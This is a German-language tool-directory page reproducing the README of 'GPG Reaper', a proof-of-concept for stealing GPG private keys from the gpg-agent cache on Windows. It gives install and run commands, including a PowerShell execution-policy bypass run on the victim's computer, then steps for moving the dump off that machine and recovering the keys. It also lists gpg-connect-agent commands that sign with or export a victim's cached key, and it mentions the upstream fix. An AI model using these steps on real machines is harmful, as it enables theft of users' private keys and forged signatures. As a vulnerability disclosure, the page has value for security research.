Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
gpg_reaper — GPG Reaper - GPG-private Schlüssel aus dem gpg-agent-Cache/Speicher erhalten/stehlen/wiederherstellen | Kitploit
Tools/GitHubGitHub/kacperszurek/gpg_reaper
SpeicherforensikExploitationPost-ExploitationPenetrationstests
GitHubkacperszurek/gpg_reaper

gpg_reaper

GPG Reaper - GPG-private Schlüssel aus dem gpg-agent-Cache/Speicher erhalten/stehlen/wiederherstellen

Repository anzeigen
961116vor 8 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

GPG Reaper

TL;DR: GPG-Private Keys aus dem gpg-agent-Cache/Speicher erlangen/stehlen/wiederherstellen

GPG Reaper Logo

Dieser POC demonstriert eine Methode, um GPG-Private Keys aus dem gpg-agent-Speicher unter Windows zu erlangen.

Normalerweise sollte dies nur innerhalb eines Zeitrahmens von 10 Minuten möglich sein (Wert von --default-cache-ttl).

Leider wird die Funktion housekeeping() (die für die Cache-Bereinigung zuständig ist) nur ausgeführt, wenn Sie GPG verwenden (dort gibt es keinen Timer).

Das bedeutet, dass bei normalem GPG-Einsatz, wie: Sie signieren eine Datei, schließen dann die GUI und erledigen andere Aufgaben, Ihr Passwort immer noch im gpg-agent-Speicher ist (selbst wenn die TTL abgelaufen ist).

Ein Angreifer, der Zugriff auf Ihre aktuelle Sitzung hat, kann dies zum Stehlen des Private Keys nutzen, ohne Ihre Passphrase zu kennen.

HINWEIS: GPG wird den Caching-Mechanismus in Version 2.2.6 ändern. Siehe Commit und Issue.

Gpg Reaper Implementierung

Inhaltsverzeichnis

  • Installation
  • Test
  • Einführung
  • Verwendung
  • Nach-Exploitation auf einem Rechner mit GPG
  • Umgehung der Exportbeschränkung für Private Keys
  • Fazit
  • Implementierung
  • Unterstützte Versionen
  • FAQ
  • Quellenangabe

Installation

pip install PGPy

Wenn Sie folgendes erhalten:

TypeError: Error when calling the metaclass bases metaclass conflict: the metaclass of a derived class must be a (non-strict) subclass of the metaclasses of all its bases` when running python script then:

dann:

pip install six==1.10.0

Test

  1. Installieren Sie Gpg4Win 3.0.3

  2. Öffnen Sie die Befehlszeile und starten Sie den Agent mit einer Cache-Zeit von 2 Sekunden:

cd c:\Program Files (x86)\GnuPG\bin
taskkill /im gpg-agent.exe /F
gpg-agent.exe --daemon --default-cache-ttl 2
  1. Führen Sie Kleopatra aus und generieren Sie ein neues Schlüsselpaar

GPG-Schlüssel generieren

  1. Signieren Sie eine Beispieltestdatei

Testdatei signieren

  1. Pinentry wird erscheinen und Sie nach Ihrer Passphrase fragen

Pinentry

  1. Wiederholen Sie Schritt 4-5. Jedes Mal erscheint pinentry, weil unser 2-Sekunden-Cache abgelaufen ist

  2. Führen Sie GPG Reaper aus

powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile testme.txt

Sie werden etwas sehen wie:

[+] Detect GPG version 3.0.3
[*] Readed jmp bytes: F6-05-E0-F9-45-00-04-0F-85
[*] Readed housekeeping bytes: 55
[+] Find sec key
[+] Check key grip:
[*] uid           [ultimate] Adam Nowak <[email protected]>
[+] Found public key
[*] Allocate memory at: 2d00000
[+] Read debug log C:\Users\user\AppData\Local\Temp\gpg_D98F5932C4193BF82B9C773F13899DD586A1DE38_KqALSXPH.txt
[+] Key dumped
[*] Kill background Job
[*] Restore bytes

Wie Sie sehen können, haben wir den Schlüssel ausgelesen. Dies ist möglich, weil wir die housekeeping-Funktion genoppt haben.

  1. Stellen Sie den Private Key wieder her:
python gpg_reaper.py .\testme.txt

Der Private Key wird in die Datei ausgegeben:

[+] Dump E057D86EE78A0EED070296C01BC8630ED9C841D0 - Adam Nowak <[email protected]>

Einführung

GPG-Agent ist ein Daemon zur Verwaltung von Private Keys unabhängig von einem Protokoll.

Die GUI-Schnittstelle kommuniziert mit dem Agent über das Assuan-Protokoll.

Standardmäßig cached der Agent Ihre Anmeldedaten.

Die Option --default-cache-ttl n setzt die Gültigkeitsdauer eines Cache-Eintrags auf n Sekunden.

Der Standardwert ist 600 Sekunden. Jedes Mal, wenn auf einen Cache-Eintrag zugegriffen wird, wird sein Timer zurückgesetzt.

Unter Windows sieht der Signiervorgang wie folgt aus:

Signiervorgang

Der entscheidende Teil ist die Funktion housekeeping(), die für das Entfernen abgelaufener Anmeldedaten aus dem Speicher verantwortlich ist.

Aber es gibt ein Problem: Diese Funktion wird nur an zwei Stellen ausgeführt (innerhalb von agent_put_cache und agent_get_cache).

Das bedeutet, dass gecachte Anmeldedaten NICHT aus dem Speicher entfernt werden, bis einige gpg-agent-Befehle ausgeführt werden, die agent_put_cache oder agent_get_cache oder agent_flush_cache verwenden.

Verwendung

Auf dem Opfercomputer:

powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile out.txt

Übertragen Sie out.txt auf Ihren Rechner und stellen Sie die Private Keys wieder her:

gpg_reaper.py out.txt

Die Private Keys werden in separate Dateien ausgegeben.

Wenn GPG außerhalb der Standardverzeichnisse installiert ist:

Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe

Wenn Sie keine Debug-Meldungen wünschen:

Gpg-Reaper -Verbose $false

Nach-Exploitation auf einem Rechner mit GPG

Nehmen wir an, Sie führen Penetrationstests durch und erhalten eine Shell auf einem Rechner mit installiertem GPG.

Wenn Sie Glück haben und der Benutzer GPG kürzlich verwendet hat und der Cache nicht abgelaufen ist, können Sie:

  1. Signieren Sie eine Datei:

Führen Sie c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe aus

  • Holen Sie sich die Liste der auf dem Rechner verfügbaren Keys:
KEYINFO --list
S KEYINFO 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2 D - - - P - - -
  • Setzen Sie Keygrip und Message-Hash:
SIGKEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
# SHA512 of the message
SETHASH 10 7bfa95a688924c47c7d22381f20cc926f524beacb13f84e203d4bd8cb6ba2fce81c57a5f059bf3d509926487bde925b3bcee0635e4f7baeba054e5dba696b2bf
PKSIGN
  1. Exportieren Sie den Private Key:

Führen Sie c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe aus

  • Holen Sie sich den Wrapping-Key:
KEYWRAP_KEY --export
  • Exportieren Sie einen geheimen Schlüssel aus dem Schlüsselspeicher. Der Schlüssel wird mit dem aktuellen Sitzungs-Wrapping-Key unter Verwendung des AESWRAP-128-Algorithmus verschlüsselt:
EXPORT_KEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2

Leider funktioniert dies nicht wie erwartet und fragt nach dem Passwort.

Tool herunterladen